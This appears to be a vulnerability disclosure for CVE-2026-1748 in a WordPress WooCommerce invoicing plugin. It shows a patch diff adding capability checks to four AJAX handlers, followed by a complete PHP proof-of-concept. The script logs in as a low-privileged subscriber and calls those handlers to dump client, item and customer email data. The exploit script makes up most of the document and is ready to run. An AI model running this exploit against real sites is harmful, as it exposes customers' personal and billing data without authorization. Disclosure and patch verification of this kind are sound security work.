CVE-2026-1748: Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 – Missing Authorization to Authenticated (Subscriber+) Information Exposure (kirilkirkov-pdf-invoice-manager)

--- a/kirilkirkov-pdf-invoice-manager/KirilKirkovWpInvoices.php
+++ b/kirilkirkov-pdf-invoice-manager/KirilKirkovWpInvoices.php
@@ -6,7 +6,7 @@
 /*
 Plugin Name: Invoct – PDF Invoices & Billing for WooCommerce
 Description: Free and powerful invoicing plugin for WordPress and WooCommerce. Create and manage PDF invoices, set up periodic invoices, handle billing, and track warehouse inventory — all from a simple, unified dashboard. Includes multiple professional invoice templates.
-Version: 1.6
+Version: 1.7
 Author: Kiril Kirkov
 Author URI: https://github.com/kirilkirkov/
 License: GPLv2 or later
@@ -564,7 +564,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_clients()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -584,7 +584,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_client_by_id()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -604,7 +604,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_items()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

@@ -625,7 +625,7 @@
 		 */
 		public function kirilkirkov_wp_inv_select_customers()
 		{
-			if (!is_admin()) {
+			if (!is_admin() || !current_user_can('manage_options')) {
 				wp_die( esc_html__( 'This code is for admin area only', 'kirilkirkov-pdf-invoice-manager' ) );
 			}

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1748 - Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Information Exposure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// WordPress credentials for a low-privileged user (e.g., Subscriber)
$username = 'subscriber_user';
$password = 'subscriber_password';

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate to WordPress to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Adjust for HTTPS

$response = curl_exec($ch);

// Step 2: Exploit the missing authorization by calling a vulnerable AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Choose one of the four vulnerable actions
$vulnerable_actions = [
    'kirilkirkov_wp_inv_select_clients',      // Retrieves invoice clients
    'kirilkirkov_wp_inv_select_client_by_id', // Retrieves specific client
    'kirilkirkov_wp_inv_select_items',        // Retrieves invoice items
    'kirilkirkov_wp_inv_select_customers'     // Retrieves WordPress users/emails
];

$exploit_action = $vulnerable_actions[0]; // Using first action as example

$exploit_fields = [
    'action' => $exploit_action
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));

$exploit_response = curl_exec($ch);

// Output the sensitive data returned by the plugin
echo "Target: $target_urln";
echo "Action: $exploit_actionn";
echo "Response:n";
echo $exploit_response;

curl_close($ch);

?>